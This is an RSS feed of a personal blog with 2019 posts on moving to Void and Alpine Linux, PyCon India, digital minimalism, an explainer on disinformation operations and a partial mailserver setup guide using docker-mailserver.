1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>Status update</title><description><![CDATA[<p>I&#8217;ve decided to drop the &#8220;Weekly&#8221; part of the status update posts, since
  15they were never weekly and&#8212;let&#8217;s be honest&#8212;they aren&#8217;t going to be.
  16These posts are, henceforth, just &#8220;Status updates&#8221;. The date range can
  17be inferred from the post date.</p>
  18
  19<p>That said, here&#8217;s what I&#8217;ve been up to!</p>
  20
  21<h3 id="void-linux">Void Linux</h3>
  22
  23<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
  24really. The very comfy <code>apk</code>, ultra mnml system&#8230; but having to
  25maintain a chroot for my glibc needs was getting way too painful. And
  26the package updates are so slow! Heck, they&#8217;re still on kernel 4.xx on
  27their supposed &#8220;bleeding&#8221; <code>edge</code> repo.</p>
  28
  29<p>So yes, Void Linux it is. Still a very clean system. I&#8217;m loving it.
  30I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
  31(-95 mV). Can&#8217;t say for sure if there&#8217;s a noticeable difference in
  32battery life though. I&#8217;ll see if I can run some tests.</p>
  33
  34<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
  35
  36<h3 id="pycon">PyCon</h3>
  37
  38<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
  39
  40<h3 id="this-website">This website</h3>
  41
  42<p>I&#8217;ve moved out of GitHub Pages over to Netlify. This isn&#8217;t my first time
  43using Netlify, though. I used to host my old blog which ran Hugo, there.
  44I was tired of doing this terrible hack to maintain a single repo for
  45both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&#8217;s
  46what I did:</p>
  47
  48<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
  49
  50git push origin master
  51<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
  52git subtree push --prefix build origin gh-pages
  53</code></pre></div>
  54
  55<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
  56by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
  57build</code>. Very pleasant.</p>
  58
  59<h3 id="mnmlwms-status"><code>mnmlwm</code>&#8217;s status</h3>
  60
  61<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
  62window manager written in Nim. I&#8217;d taken a break from it for a while
  63because Xlib is such a pain to work with (or I&#8217;m just dense). Anyway,
  64I&#8217;m planning on getting back to it, with some fresh inspiration from
  65Dylan Araps&#8217; <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
  66
  67<h3 id="other">Other</h3>
  68
  69<p>I&#8217;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
  70Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&#8217;ve just
  71started <em>Kakegurui</em>. I&#8217;ll reserve my opinions for when I update the
  72<a href="/reading">reading log</a>.</p>
  73
  74<p>That&#8217;s about it, and I&#8217;ll see you &#8211; definitely not next week.</p>
  75]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I&#8217;m writing this article as I sit in class, back on the grind. Last
  76weekend&#8212;Oct 12th and 13th&#8212;was PyCon India 2019, in Chennai, India.
  77It was my first PyCon, <em>and</em> my first ever talk at a major conference!
  78This is an account of the all the cool stuff I saw, people I met and the
  79talks I enjoyed.
  80Forgive the lack of pictures &#8211; I prefer living the moment through my 
  81eyes. </p>
  82
  83<h3 id="talks">Talks</h3>
  84
  85<p>So much ML! Not that it&#8217;s a bad thing, but definitely interesting to
  86note. From what I counted, there were about 17 talks tagged under &#8220;Data
  87Science, Machine Learning and AI&#8221;. I&#8217;d have liked to see more talks
  88discussing security and privacy, but hey, the organizers can only pick
  89from what&#8217;s submitted. ;)</p>
  90
  91<p>With that point out of the way, here&#8217;s some of the talks I really liked:</p>
  92
  93<ul>
  94<li><strong>Python Packaging - where we are and where we&#8217;re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
  95<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
  96<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
  97<li><strong>Let&#8217;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
  98<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>&#8217;s closing
  99keynote</li>
 100</ul>
 101
 102<h3 id="my-talk">My talk (!!!)</h3>
 103
 104<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
 105our smart lock security research. Agreed, it might have been less
 106&#8220;hardware&#8221; and more of a bug on the server-side, but that&#8217;s the thing
 107about IoT right? It&#8217;s so multi-faceted, and is an amalgamation of so
 108many different hardware and software stacks. But, anyway&#8230;</p>
 109
 110<p>I was reassured by folks after the talk that the silence during Q/A was 
 111the &#8220;good&#8221; kind of silence. Was it really? I&#8217;ll never know.</p>
 112
 113<h3 id="some-nice-people-i-met">Some nice people I met</h3>
 114
 115<ul>
 116<li><a href="https://twitter.com/abhirathb">Abhirath</a> &#8211; A 200 IQ lad. Talked to
 117me about everything from computational biology to the physical
 118implementation of quantum computers.</li>
 119<li><a href="https://twitter.com/meain_">Abin</a> &#8211; He recognized me from my
 120<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
 121awesome.</li>
 122<li><a href="https://twitter.com/h6165">Abhishek</a></li>
 123<li>Pradyun and Vikrant (linked earlier)</li>
 124</ul>
 125
 126<p>And a lot of other people doing really great stuff, whose names I&#8217;m
 127forgetting.</p>
 128
 129<h3 id="pictures">Pictures!</h3>
 130
 131<p>It&#8217;s not much, and
 132I can&#8217;t be bothered to format them like a collage or whatever, so I&#8217;ll
 133just dump them here &#8211; as is.</p>
 134
 135<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
 136<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
 137<img src="/static/img/me_talking.jpg" alt="me talking" />
 138<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
 139
 140<h3 id="cest-tout">C&#8217;est tout</h3>
 141
 142<p>Overall, a great time and a weekend well spent. It was very different
 143from your typical security conference &#8211; a lot more <em>chill</em>, if you
 144will. The organizers did a fantastic job and the entire event was put
 145together really well.
 146I don&#8217;t have much else to say, but I know for sure that I&#8217;ll be
 147there next time.</p>
 148
 149<p>That was PyCon India, 2019.</p>
 150]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
 151subject. But this is inherently different, since it&#8217;s <em>my</em> opinion on
 152the matter, and <em>my</em> technique(s) to achieve &#8220;digital minimalism&#8221;.</p>
 153
 154<p>According to me, minimalism can be achieved on two primary fronts &#8211;
 155the phone &amp; the computer. Let&#8217;s start with the phone. The daily carry.
 156The device that&#8217;s on our person from when we get out of bed, till we get
 157back in bed.</p>
 158
 159<h3 id="the-phone">The phone</h3>
 160
 161<p>I&#8217;ve read about a lot of methods people employ to curb their phone
 162usage. Some have tried grouping &#8220;distracting&#8221; apps into a separate
 163folder, and this supposedly helps reduce their usage. Now, I fail to see
 164how this would work, but YMMV. Another technique I see often is using
 165a time governance app&#8212;like OnePlus&#8217; Zen Mode&#8212;to enforce how much
 166time you spend using specific apps, or the phone itself. I&#8217;ve tried this
 167for myself, but I constantly found myself counting down the minutes
 168after which the phone would become usable again. Not helpful.</p>
 169
 170<p>My solution to this is a lot more brutal. I straight up uninstalled the
 171apps that I found myself using too often. There&#8217;s a simple principle
 172behind it &#8211; if the app has a desktop alternative, like Twitter,
 173Reddit, etc. use that instead. Here&#8217;s a list of apps that got nuked from
 174my phone:</p>
 175
 176<ul>
 177<li>Twitter</li>
 178<li>Instagram (an exception, no desktop client)</li>
 179<li>Relay for Reddit</li>
 180<li>YouTube (disabled, ships with stock OOS)</li>
 181</ul>
 182
 183<p>The only non-productive app that I&#8217;ve let remain is Clover, 
 184a 4chan client. I didn&#8217;t find myself using it as much earlier, but we&#8217;ll see how that 
 185holds up. I&#8217;ve also allowed my personal messaging apps to remain, since 
 186removing those would be inconveniencing others.</p>
 187
 188<p>I must admit, I often find myself reaching for my phone out of habit
 189just to check Twitter, only to find that its gone. I also subconsciously
 190tap the place where its icon used to exist (now replaced with my mail
 191client) on my launcher. The only &#8220;fun&#8221; thing left on my phone to do is
 192read or listen to music. Which is okay, in my opinion.</p>
 193
 194<h3 id="the-computer">The computer</h3>
 195
 196<p>I didn&#8217;t do anything too nutty here, and most of the minimalism is
 197mostly aesthetic. I like UIs that get out of the way. </p>
 198
 199<p>My setup right now is just a simple bar at the top showing the time,
 200date, current volume and battery %, along with my workspace indicators.
 201No fancy colors, no flashy buttons and sliders. And that&#8217;s it. I don&#8217;t
 202try to force myself to not use stuff &#8211; after all, I&#8217;ve reduced it
 203elsewhere. :)</p>
 204
 205<p>Now the question arises: Is this just a phase, or will I stick to it?
 206What&#8217;s going to stop me from heading over to the Play Store and
 207installing those apps back? Well, I never said this was going to be
 208easy. There&#8217;s definitely some will power needed to pull this off.
 209I guess time will tell.</p>
 210]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It&#8217;s a lazy Friday afternoon here; yet another off day this week thanks to my
 211uni&#8217;s fest. My last &#8220;weekly&#8221; update was 10 days ago, and a lot has happened
 212since then. Let&#8217;s get right into it!</p>
 213
 214<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
 215
 216<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
 217
 218<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
 219<span class="m">3817</span>
 220
 221<span class="c1"># or something in that ballpark</span>
 222</code></pre></div>
 223
 224<p>I&#8217;ve been wanting to reduce my system&#8217;s package count.</p>
 225
 226<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
 227sane package manager. I did come across Dylan Araps&#8217;
 228<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
 229for me (and still relatively new). I finally settled on
 230<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
 231
 232<blockquote>
 233  <p>Alpine Linux is a security-oriented, lightweight Linux distribution based 
 234  on musl libc and busybox.</p>
 235</blockquote>
 236
 237<p>The installation was a breeze, and I was quite surprised to see WiFi working
 238OOTB. In the past week of my using this distro, the only major hassle I faced
 239was getting my Minecraft launcher to run. The JRE isn&#8217;t fully ported to <code>musl</code>
 240yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
 241soon. (hint: it involves chroots)</p>
 242
 243<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
 244
 245<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
 246
 247<p>On a related note, I&#8217;ve been busy packaging some of the stuff I use for Alpine
 248&#8211; you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
 249repository if you&#8217;re interested. I&#8217;m currently working on packaging Nim too, so
 250keep an eye out for that in the coming week.</p>
 251
 252<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
 253
 254<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
 255going to be speaking at PyCon India about our recent smart lock security
 256research. The conference is happening in Chennai, much to our convenience.
 257If you&#8217;re attending too, hit me up on Twitter and we can hang!</p>
 258
 259<h3 id="other">Other</h3>
 260
 261<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
 262strong, my reading however, hasn&#8217;t. I have <em>yet</em> to finish those books! This
 263week, for sure.</p>
 264
 265<p>Musically, I&#8217;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
 266I think I like it? I still find myself coming back to metalcore/deathcore.
 267Here&#8217;s a list of artists I discovered (and liked) recently:</p>
 268
 269<ul>
 270<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
 271<li>生 Conform 死 (couldn&#8217;t find any official YouTube video, check Spotify)</li>
 272<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
 273<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
 274<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
 275</ul>
 276
 277<p>That&#8217;s it for now, I&#8217;ll see you next week!</p>
 278
 279<div class="footnotes">
 280<hr />
 281<ol>
 282<li id="fn-1">
 283<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a>&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 284</li>
 285</ol>
 286</div>
 287]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
 288and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
 289every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
 290a format for this, but it will probably include a quick summary of the work I did,
 291things I read, IRL stuff, etc.</p>
 292
 293<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>
 294
 295<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
 296
 297<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
 298the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
 299It creates a small community of sites and enables sharing of traffic among these sites.
 300The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
 301of those sites are beautiful. Mine pales in comparison.</p>
 302
 303<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
 304called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
 305and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
 306twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
 307
 308<p>Which brings me to the next thing I did this/last week.</p>
 309
 310<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
 311
 312<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
 313As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
 314authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
 315It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
 316of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
 317
 318<h3 id="other">Other</h3>
 319
 320<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
 321Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
 322It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
 323delvering both interesting security content and news.</p>
 324
 325<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
 326&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>
 327
 328<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
 329easy to pick up. Learning the Cyrillic script will require some relearning, especially
 330with letters like в, н, р, с, etc. that look like English but sound entirely different.
 331I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
 332to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
 333layout to my keyboard map too:</p>
 334
 335<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
 336</code></pre>
 337
 338<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
 339]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
 340According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
 341<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
 342derived from the title of a KGB black propaganda department.</p>
 343
 344<blockquote>
 345  <p>Disinformation is false information spread deliberately to deceive.</p>
 346</blockquote>
 347
 348<p>To fully understand disinformation, especially in the modern age, we need to understand the
 349key factors of any successful disinformation operation:</p>
 350
 351<ul>
 352<li>creating disinformation (what)</li>
 353<li>the motivation behind the op, or its end goal (why)</li>
 354<li>the medium used to disperse the falsified information (how)</li>
 355<li>the actor (who)</li>
 356</ul>
 357
 358<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
 359
 360<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
 361forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
 362
 363<h3 id="creating-disinformation">Creating disinformation</h3>
 364
 365<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
 366of any disinformation sample is a huge indicator of the level of sophistication of the
 367actor involved, i.e. is it a 12 year old troll or a nation state?</p>
 368
 369<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
 370The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
 371To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
 372nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
 373geography and psychology is required. It also needs circumstantial and situational awareness,
 374of the target.</p>
 375
 376<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
 377recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
 378
 379<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
 380imagery:</p>
 381
 382<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
 383<p lang="en" dir="ltr">Disinformation.
 384<br><br>
 385The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
 386<br><br>Recontextualisation as threat vector. 
 387<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
 388</p>&mdash; thaddeus e. grugq (@thegrugq) 
 389<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
 390</blockquote>
 391
 392<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
 393
 394<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
 395
 396<p>I like to broadly categorize any info op as either proactive or reactive. 
 397Proactively, disinformation is spread with the desire to influence the target
 398either before or during the occurence of an event. This is especially observed
 399during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
 400In offensive information operations, the target&#8217;s psychological state can be affected by
 401spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
 402
 403<p>Reactive disinformation is when the actor, usually a nation state in this case,
 404screws up and wants to cover their tracks. A fitting example of this is the case
 405of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
 406eastern Ukraine. This tragic incident has been attributed to Russian-backed 
 407separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
 408Russian media is known to have desseminated a number of alternative &amp; some even
 409conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
 410Investigation Team) investigations pointed towards the separatists. 
 411The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
 412potentially correct information takes a credibility hit.</p>
 413
 414<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
 415in totalitarian regimes; when the government decides what the media portrays to the
 416masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
 417
 418<blockquote>
 419  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
 420  namely from the United States, and what they have called criminal Hong Kong thugs.
 421  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
 422  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
 423  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
 424  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 425  &#8230;</p>
 426</blockquote>
 427
 428<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 429
 430<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 431play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 432popularity.</p>
 433
 434<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 435generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 436info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 437to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 438get realtime insights into what sticks and what doesn&#8217;t.
 439The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 440factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 441to create discussions about alternative theories.</p>
 442
 443<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 444actively invest in creating group chats to spread political messages and memes. These parties
 445have volunteers whose sole job is to sit and forward messages.
 446Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 447this is disinformation without a motive, or the motive is hard to determine simply because
 448the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 449This is a difficult problem to combat, especially given the nature of the target audience.</p>
 450
 451<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 452
 453<p>I doubt this requires further elaboration, but in short:</p>
 454
 455<ul>
 456<li>nation states and their intelligence agencies</li>
 457<li>governments, political parties</li>
 458<li>other non/quasi-governmental groups</li>
 459<li>trolls</li>
 460</ul>
 461
 462<p>This essentially sums up the what, why, how and who of disinformation. </p>
 463
 464<h3 id="personal-opsec">Personal OPSEC</h3>
 465
 466<p>This is a fun one. Now, it&#8217;s common knowledge that
 467<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 468afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 469lead to your OPSEC being compromised.
 470So if you really have to, you can feign activity using disinformation. For example,
 471pick a place, and throw in subtle details pertaining to the weather, local events
 472or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 473tweet stuff like:</p>
 474
 475<ul>
 476<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 477<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 478<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 479</ul>
 480
 481<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 482
 483<p>And please, don&#8217;t do this:</p>
 484
 485<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 486
 487<h3 id="conclusion">Conclusion</h3>
 488
 489<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 490scary. There is no simple way to combat disinformation. Social media is hard to control.
 491Just like anything else in cyber, this too is an endless battle between social media corps
 492and motivated actors.</p>
 493
 494<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 495folks see the truth in a post-truth world.</p>
 496
 497<div class="footnotes">
 498<hr />
 499<ol>
 500<li id="fn-1">
 501<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 502</li>
 503
 504<li id="fn-2">
 505<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 506</li>
 507
 508<li id="fn-3">
 509<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 510</li>
 511
 512<li id="fn-4">
 513<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 514</li>
 515
 516<li id="fn-5">
 517<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 518</li>
 519</ol>
 520</div>
 521]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 522around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 523I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 524
 525<p>For this attempt, I wanted a simpler approach. I recall how terribly
 526confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 527for a containerized solution, that most importantly, runs on my cheap $5 
 528Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 529is actually available. So yeah, <em>pretty</em> tight.</p>
 530
 531<h3 id="whats-available">What&#8217;s available</h3>
 532
 533<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 534These are the ones I came across:</p>
 535
 536<ul>
 537<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 538and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 539<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 540but ships with a web UI that I didn&#8217;t need. </p></li>
 541<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 542they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 543<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 544a mention. It however, needs a fresh box to work with. A box with absolutely 
 545nothing else on it. I can&#8217;t afford to do that.</p></li>
 546<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 547</ul>
 548
 549<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 550
 551<p>The first thing that caught my eye in the README:</p>
 552
 553<blockquote>
 554  <p>Recommended:</p>
 555  
 556  <ul>
 557  <li>1 CPU</li>
 558  <li>1GB RAM</li>
 559  </ul>
 560  
 561  <p>Minimum:</p>
 562  
 563  <ul>
 564  <li>1 CPU</li>
 565  <li>512MB RAM</li>
 566  </ul>
 567</blockquote>
 568
 569<p>Fantastic, I can somehow squeeze this into my existing VPS.
 570Setup was fairly simple &amp; the docs are pretty good. It employs a single
 571<code>.env</code> file for configuration, which is great.
 572However, I did run into a couple of hiccups here and there.</p>
 573
 574<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 575of memory.</p>
 576
 577<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 578</code></pre>
 579
 580<p>But it eventually worked after a couple of attempts.</p>
 581
 582<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 583the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 584<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 585isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 586a <code>TXT</code> record. </p>
 587
 588<p>This is what it looks like.</p>
 589
